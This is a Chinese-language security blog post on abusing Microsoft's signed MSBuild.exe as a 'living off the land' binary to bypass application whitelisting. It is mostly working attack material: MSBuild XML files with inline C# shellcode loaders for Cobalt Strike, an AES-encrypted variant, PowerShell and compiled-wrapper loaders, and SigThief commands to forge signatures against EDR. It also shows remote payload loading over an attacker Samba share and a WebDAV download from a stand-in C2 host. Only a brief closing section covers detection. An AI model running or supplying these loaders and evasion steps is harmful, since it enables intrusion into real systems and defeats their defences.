Windows | MSBuild 白加黑利用分析

admin 2024年10月7日18:55:42评论60 views字数 13839阅读46分7秒阅读模式

白加黑(白利用)的概念进行涵盖用一个全新的名字进行描述,那就是LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。随后进行广泛的互联网民意调查,并在达成普遍共识(69%)之后,该名称被正式指定。

1. LOLBins

一个 LOLBin/Lib/Script 必须:

  • 是 Microsoft 签名的文件,可以是操作系统的本地文件,也可以是从 Microsoft 下载的文件。

  • 具有额外的“意外”功能。记录预期使用案例并不感兴趣。

    • 例外是应用程序白名单绕过

  • 具有对 APT 或红队有用的功能

“意外”的功能可以包括:

  • 执行代码

    • 任意代码执行

    • 其他程序(未签名)或脚本(通过 LOLBin)的直通执行

  • 编译代码

  • 文件操作

    • 下载

    • 上传

    • 复制

  • 持久化

    • 利用现有 LOLBin 的传递持久化

    • 持久化(例如在 ADS 中隐藏数据,在登录时执行)

  • 绕过UAC

  • 凭据盗窃

  • 转储进程内存

  • 监控(例如键盘记录器、网络跟踪)

  • 日志修改

  • DLL 旁路加载/劫持,无需重新定位到文件系统中的其他位置

2. MSBuild

Microsoft 生成引擎是一个用于生成应用程序的平台。此引擎(也称为 MSBuild)为项目文件提供了一个 XML 架构,用于控制生成平台处理和生成软件的方式。Visual Studio 会使用 MSBuild,但 MSBuild 不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe,可以在未安装 Visual Studio 的环境中安排和生成产品。

Windows | MSBuild 白加黑利用分析

MSBuild 于 2003 年首次创建,面向.NET Framework 2.0,用于Visual Studio 2005(代号 Whidbey)和Windows Vista(代号 Longhorn)。

常存在于以下目录:

C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe

MSBuild基本概念

3. MSBuild基本概念

MSBuild有四个基本块(属性、项、任务、目标):

  • MSBuild 属性:  属性是一些键/值对,主要用来存储一些配置信息。使用环境变量、保留属性、全局属性。

  • MSBuild  项:  主要是存储一些项目文件信息,以及文件的元数据信息(如版本号)。

  • MSBuild 任务:  Build过程中的一些原子操作(如CSC、MakeDir),Task接口、UsingTask[自定义任务]、ContinueOnError。

  • MSBuild 目标:  按特定的顺序将任务组织在一起,并允许在命令行单独指定各个部分。初始目标、默认目标、目标依赖项。

大多数的项目模版生成的*.*proj文件中比较常见一些用法和概念:

  • MSBuild 特殊字符:MSBuild保留的一些字符,以及XML中的特殊字符处理。

  • MSBuild 条件: Condition特性,作用类似于C#的if。

  • Import 元素: 导入项目文件到当前项目文件。

总结MSBuild的作用:利用配置信息对项目文件实施特定顺序的操作。

4. MSBuild利用过程

4.1 Direct execution

使用 /target(或 /t)和 /property(或 /p)命令行选项可替代项目文件中指定的特定属性和目标 。

msbuild.exe [project_file] [options]

AWL bypass(Application White Listing Bypass)

构建并执行存储在目标 XML 文件中的 C# 项目。

msbuild.exe pshell.xml

用例:编译和运行代码

所需权限:用户

操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10

先使用CS生成C#的shellcode:

Windows | MSBuild 白加黑利用分析

编写demo_exec_shellcode.xml,重写execute函数:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <Target Name="Hello">
   <ClassExample />
 </Target>
 <UsingTask
   TaskName="ClassExample"
   TaskFactory="CodeTaskFactory"
   AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
   <Task>

     <Code Type="Class" Language="cs">
     <![CDATA[
       using System;
       using System.Runtime.InteropServices;
       using Microsoft.Build.Framework;
       using Microsoft.Build.Utilities;
       public class ClassExample :  Task, ITask
      {        
         private static UInt32 MEM_COMMIT = 0x1000;          
         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
        [DllImport("kernel32")]
           private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
           UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
        [DllImport("kernel32")]
           private static extern IntPtr CreateThread(            
           UInt32 lpThreadAttributes,
           UInt32 dwStackSize,
           UInt32 lpStartAddress,
           IntPtr param,
           UInt32 dwCreationFlags,
           ref UInt32 lpThreadId          
          );
        [DllImport("kernel32")]
           private static extern UInt32 WaitForSingleObject(          
           IntPtr hHandle,
           UInt32 dwMilliseconds
          );          
         public override bool Execute()
        {
byte[] shellcode = new byte[] { 0 };
             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
               MEM_COMMIT, PAGE_EXECUTE_READWRITE);
             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
             IntPtr hThread = IntPtr.Zero;
             UInt32 threadId = 0;
             IntPtr pinfo = IntPtr.Zero;
             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
             WaitForSingleObject(hThread, 0xFFFFFFFF);
             return true;
        }
      }    
    ]]>
     </Code>
   </Task>
 </UsingTask>
</Project>

目标机器执行命令:

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_shellcode.xml

Windows | MSBuild 白加黑利用分析

MSbuild被微软验证过:

Windows | MSBuild 白加黑利用分析

CS上线:

Windows | MSBuild 白加黑利用分析

4.2 shellcode加密执行

先用Gzip压缩shellcode,再使用AES-128加密,然后编码为base64,解密反之。

编写encryto_shellcode.xml用来生成base64_shellcode,shellcode为CS生成的马 执行命令生成加密后的password 和 shellcode

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .encrypto_shellcode.xml

Windows | MSBuild 白加黑利用分析

将生成好的password 和 shellcode,复制到demo_exec_aes_shellcode.xml中

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="Hello">
      <ClassExample />
    </Target>
    <UsingTask
      TaskName="ClassExample"
      TaskFactory="CodeTaskFactory"
      AssemblyFile="C:\WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
      <Task>
        <Code Type="Class" Language="cs">
            <![CDATA[
            using System;
            using System.Diagnostics;
            using System.IO;
            using System.IO.Compression;
            using System.Runtime.InteropServices;
            using System.Security.Cryptography;
            using System.Text;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample : Task, ITask
           {        
                  private static UInt32 MEM_COMMIT = 0x1000;          
                  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
                  [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                    UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
                  [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(            
                    UInt32 lpThreadAttributes,
                    UInt32 dwStackSize,
                    UInt32 lpStartAddress,
                    IntPtr param,
                    UInt32 dwCreationFlags,
                    ref UInt32 lpThreadId          
                    );
                  [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(          
                    IntPtr hHandle,
                    UInt32 dwMilliseconds
                    );          
                  public override bool Execute()
                  {
                  string base64_password = "H4sIAAAAAAAEAA..........................KxkQAAAA";
                  string base64_shellcode = "H4sIAAAAAAAEAA.........................IAMAAA==";
                  byte[] password = Gzip.Decompress(Convert.FromBase64String(base64_password));
                  byte[] unpacked = Gzip.Decompress(Convert.FromBase64String(base64_shellcode));
                  byte[] shellcode = Crypto.Decrypt(unpacked, password);
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                   MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
                  }
            }    
            public static class Extensions
           {
               public static T[] SubArray<T>(this T[] array, int offset, int length)
               {
                   T[] result = new T[length];
                   Array.Copy(array, offset, result, 0, length);
                   return result;
               }
           }
           class Crypto
           {
               public static byte[] Decrypt(byte[] data, byte[] key)
               {
                   using (var aes = Aes.Create())
                   {
                       aes.KeySize = 128;
                       aes.BlockSize = 128;
                       aes.Padding = PaddingMode.PKCS7;
                       aes.Key = key;
                       aes.IV = key.SubArray(0, 16);

                       using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                       {
                           return PerformCryptography(data, decryptor);
                       }
                   }
               }
               private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
               {
                   using (var ms = new MemoryStream())
                   using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
                   {
                       cryptoStream.Write(data, 0, data.Length);
                       cryptoStream.FlushFinalBlock();

                       return ms.ToArray();
                   }
               }
           }
           class Gzip
           {
               public static byte[] Decompress(byte[] inputBytes)
               {
                   try
                   {
                       using (var inputStream = new MemoryStream(inputBytes))
                       using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress))
                       using (var outputStream = new MemoryStream())
                       {
                           gZipStream.CopyTo(outputStream);
                           return outputStream.ToArray();
                       }
                   }
                   catch
                   {
                       return null;
                   }
               }
           }
      ]]>
    </Code>
  </Task>
</UsingTask>
</Project>

在目标机器执行命令

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_aes_shellcode.xml

线CS:

Windows | MSBuild 白加黑利用分析

删除任何输出并指定构建配置,控制台不会打印任何执行时的信息:

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_aes_shellcode.xml /noconsolelogger /nologo /p:Configuration=Release

4.3 MSBuild with PowerShell

使用PowerShell脚本反射调用MSBuild,只用4行即可,例如MSBuild.ps1:

$path = "C:tmpMSBuilddemo_exec_shellcode.xml"
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$eval = new-object Microsoft.Build.Evaluation.Project($path);
$eval.Build();

注意这里调用的是x64的PowerShell,为了演示,没有使用 -w hidden选项:

C:windowssyswow64WindowsPowerShellv1.0PowerShell.exe -NoP -NonI -exec bypass .MSBuild.ps1

Windows | MSBuild 白加黑利用分析

4.4 MSBuild without MSBuild.exe

构建并执行存储在目标 csproj 文件中的 C# 项目。

msbuild.exe project.csproj

用例:编译和运行代码

所需权限:用户

操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10

Rvrsh3ll其中共享了NoMSBuild。通过Microsoft.Build.Evaluation命名空间并且可以直接调用MSBuild。

编写SharpBuild.cs,通过Microsoft.Build.Evaluation调用MSBuild

using System;
using Microsoft.Build.Evaluation;

namespace SharpBuild
{
   class Program
  {
       static void Main(string[] args)
      {
           string path = @"C:tmpMSBuilddemo_exec_shellcode.xml";

           ProjectCollection collection = new ProjectCollection();
           if (collection.LoadProject(path).Build())
          {
               Console.WriteLine("built");
          }
           else
          {
               Console.WriteLine("error");
          }
      }
  }
}

通过MSBuild本地编译SharpBuild.cs为exe文件。

<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <ItemGroup>
   <!--指定要编译的文件-->
   <CSFile Include="SharpBuild.cs"/>
 </ItemGroup>
 <Target Name="build">
   <!--使用Csc任务,对应csc编译器-->
   <!--Sources属性表示要编译的文件集合-->
   <!--TargetType表示编译目标类型,对应csc编译器的/target参数-->
   <Csc Sources="@(CSFile)"
        TargetType="exe">
     <!--OutputAssembly为csc的输出参数-->
     <!--PropertyName表示把TaskParameter属性所指定的输出参数的值存储到outputExeName这个属性中-->
     <!--Output还有一个ItemName属性,表示存储到一个项中-->
     <Output TaskParameter="OutputAssembly" PropertyName="outputExeFileName"/>
   </Csc>
   <!--Message任务就可以使用csc所导出的属性outputExeFileName了-->
   <!--输出SharpBuild.exe-->
   <Message Text="$(outputExeFileName)"/>
   <!--Exec任务可以运行带有指定程序(可加参数)或命令-->
   <!--运行刚从SharpBuild.cs源文件编译好的程序-->
   <!--运行结果为"MSBuild组织编译"-->
   <Exec Command="$(outputExeFileName)"></Exec>
 </Target>
</Project>

执行命令编译成exe

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .SharpBuild.csproj

利用MSbuild发现编译失败,提示Microsoft命名空间里没有build

Windows | MSBuild 白加黑利用分析

查官方文档发现microsoft.build.evaluation.project.build,只在MSBuild 15和16版本中存在

Windows | MSBuild 白加黑利用分析

Windows | MSBuild 白加黑利用分析

github上下载MSBuild 16项目,安装一个16版本的个MSBuild.exe。或者,直接用csc.exe编译SharpBuild.cs:

C:WindowsMicrosoft.NetFrameworkv4.0.30319csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe /platform:x86 SharpBuild.cs

Windows | MSBuild 白加黑利用分析

编译好的SharpBuild.exe编译后没有了数字签名,本身白利用就是因为要利用受信的二进制文件去执行恶意操作,实际上这种MSBuild without MSBuild.exe又放弃了这个特性。

Windows | MSBuild 白加黑利用分析

但是,可以伪造一个数字签名,因为有些EDR,仅仅验证是否有签名,而非验证签名是否有效。

有些EDR在不检查签名是否实际有效的情况下,优先考虑某些证书颁发机构,而有些EDR只是检查 certTable 是否填充了某些值。

SigThief工具可以伪造数字签名,当然,这不是有效的签名

从二进制文件获得签名并将其添加到另一个二进制文件

./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe

以SharpBuild.exe为例,获取MSBuild.exe的签名,添加到SharpBuild.exe上

python sigthief.py -i "C://Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe" -t "D://Git_ProjectD/ttpskb/Defense Evasion/LOLBins/MSBuild/tools/MSBuild_without_MSBuild.exe/SharpBuild/SharpBuild.exe" -o "D://Git_ProjectD/ttpskb/Defense Evasion/LOLBins/MSBuild/tools/MSBuild_without_MSBuild.exe/SharpBuild/SharpBuild_sign.exe"

SharpBuild.exe已经有了数字签名,但不是有效的数字签名。

Windows | MSBuild 白加黑利用分析

4.5 UNC Inject

到目前为止,所有内容都要求 *.xml 上传至目标机器的磁盘上。下面介绍一下远程加载*.xml或者*.csproj文件方式。

安装samba

apt-get install samba

配置samba

cd /etc/samba
cp smb.conf smb.conf.bak
echo "" > smb.conf
vim smb.conf

smb.conf:

map to guest = bad user
[Share]
  path = /opt/share
  public = yes
  writable = yes
  available = yes
  browseable = yes

启动samba服务器

service nmbd start 
service smbd start

执行命令,加载远程xml文件

C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe \10.251.0.33sharedemo_exec_aes_shellcode.xml

执行报错,是因为虽然samba设置了允许匿名访问,但是目录和文件没有给匿名用户nobody使用权限

Windows | MSBuild 白加黑利用分析

chmod 777 /opt/share
chmod 777 demo_exec_aes_shellcode.xml

再次执行,CS成功上线

Windows | MSBuild 白加黑利用分析

4.6 WebDAV

HTTP/WebDAV推荐使用pwndrop工具。

Windows | MSBuild 白加黑利用分析

.NET
using (var client = new WebClient())
{
client.DownloadFile("https://notac2.com/notapayload.xml", "\some\path");
}
PowerShell
$client = new-object System.Net.WebClient
$client.DownloadFile('URL', '保存位置/文件名称.文件类型')

5. Conclusion

简单总结一下,上述所有攻击利用方式的优缺点

利用方式 落盘情况 优点 缺点
Direct execution xml/csproj文件 使用简单,在编译不报错的情况下不会在tmp目录下生成源代码的txt文件 需要提前上传xml文件和一个命令执行漏洞调用MSBuild.exe
MSBuild with PowerShell xml/csproj文件和ps1脚本 通过PoweShell调用MSBuild API,执行过程中没有MSBuild进程,可编写成ps1脚本执行 遇到无脑杀PowerShell的EDR,就适得其反,需要落盘2个文件,动作太大。
MSBuild without MSBuild.exe xml/csproj文件和exe文件 将调用MSBuild API的cs提前编译为exe文件,在目标机器上执行 需要落盘2个文件,动作太大。exe没有签名,相当于放弃了白加黑最大的优势。
UNC Inject 无文件 远程加载xml/csproj,只要编译不报错,就无无文件落地 进程中会一直存在MSBuild.exe,隐蔽性不强,一般来说MSBuild.exe不应该一直存在。
WebDAV/HTTP xml/csproj文件 用WebDAV/HTTP方式远程加载文件,无需考虑如何上传文件 需要落盘2个文件,动作太大。

6. Threat Hunting

如果在目标机器上编译失败/报错,在目标机器默认的tmp目录下会生成一个.txt文件里面包含了 C# 源码和报错信息。

C:UsersAdministratorAppDataLocalTemp1

Windows | MSBuild 白加黑利用分析

Windows | MSBuild 白加黑利用分析

reference

https://lolbas-project.github.io/lolbas/Binaries/Msbuild/

https://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild

https://docs.microsoft.com/en-us/visualstudio/msbuild/build-process-overview?view=vs-2019

https://docs.microsoft.com/zh-cn/dotnet/api/system.console.write?view=net-5.0

https://gigi.nullneuron.net/gigilabs/compressing-strings-using-gzip-in-c/

https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/

https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/

https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html

https://fortynorthsecurity.com/blog/remotely-host-msbuild-payloads/

https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/

https://github.com/rvrsh3ll/MSBuildAPICaller

https://rastamouse.me/2019/06/tikispawn-msbuild/

https://www.secarma.com/three-ways-of-using-msbuild-to-beat-crowdstrike/

https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0

https://github.com/kgretzky/pwndrop

https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation

原文始发于微信公众号(TahirSec):Windows | MSBuild 白加黑利用分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日18:55:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows | MSBuild 白加黑利用分析https://cn-sec.com/archives/1996161.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息